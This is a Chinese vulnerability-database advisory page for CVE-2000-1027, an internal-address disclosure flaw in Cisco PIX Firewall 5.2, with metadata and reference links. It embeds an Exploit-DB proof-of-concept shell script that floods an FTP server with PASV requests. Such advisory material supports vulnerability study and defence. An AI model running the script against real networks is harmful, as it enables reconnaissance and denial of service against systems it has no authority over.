CVE-2000-1027
CVSS5.0
发布时间 :2000-12-11 00:00:00
修订时间 :2016-10-17 22:08:03
NMCOE    

[原文]Cisco Secure PIX Firewall 5.2(2) allows remote attackers to determine the real IP address of a target FTP server by flooding the server with PASV requests, which includes the real IP address in the response when passive mode is established.


[CNNVD]Cisco Secure PIX Firewall漏洞(CNNVD-200012-075)

        Cisco Secure PIX Firewall 5.2(2)版本存在漏洞。远程攻击者可以利用PASV请求淹没服务器来确定目标FTP服务器的真实IP地址,该请求在制定确定模式下在响应中包含真实IP地址。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1027
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-1027
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-075
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=97059440000367&w=2
(UNKNOWN)  BUGTRAQ  20001003 Cisco PIX Firewall allow external users to discover internal IPs
http://www.securityfocus.com/bid/1877
(VENDOR_ADVISORY)  BID  1877
http://xforce.iss.net/static/5646.php
(UNKNOWN)  XF  cisco-pix-reveal-address

- 漏洞信息

Cisco Secure PIX Firewall漏洞
中危 未知
2000-12-11 00:00:00 2005-05-02 00:00:00
远程  
        Cisco Secure PIX Firewall 5.2(2)版本存在漏洞。远程攻击者可以利用PASV请求淹没服务器来确定目标FTP服务器的真实IP地址,该请求在制定确定模式下在响应中包含真实IP地址。

- 公告与补丁

        

- 漏洞信息 (20369)

Cisco PIX Firewall 5.2 PASV Mode FTP Internal Address Disclosure Vulnerability (EDBID:20369)
hardware remote
2000-10-03 Verified
0 Fabio Pietrosanti
N/A [点击下载]
source: http://www.securityfocus.com/bid/1877/info

The Cisco PIX is a popular firewall network device. 

It is possible to configure the PIX so that it hides the IP address of internal ftp servers from clients connecting to it. By sending a number of requests to enter passive ftp mode (PASV) during an ftp session, the IP address will eventually be disclosed. It is not known what exactly causes this condition.

This has been verified on versions 5.2(4) and 5.2(2) of the PIX firmware and probably affects other versions.


# sent by: Fabio Pietrosanti (naif) <naif@inet.it>
# try to dos pix using PASV bomb

echo "USER ftptest99"
sleep 2
echo PASS ftptest99
sleep 2
echo SYST
while true
       do

            echo PASV
            sleep 1
            echo PASV
            echo PASV
            sleep 1
            echo PASV
            echo PASV
            sleep 1
            echo PASV
           echo PASV
            sleep 1
done

		

- 漏洞信息

1623
Cisco PIX PASV Mode FTP Internal Address Disclosure

- 漏洞描述

Cisco PIX contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered when an attacker sends multiple PASV requests to a protected FTP server, which will disclose the server's internal IP address information resulting in a loss of confidentiality.

- 时间线

2000-10-03 2000-10-03
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue. Cisco does not appear to have acknowledged this issue.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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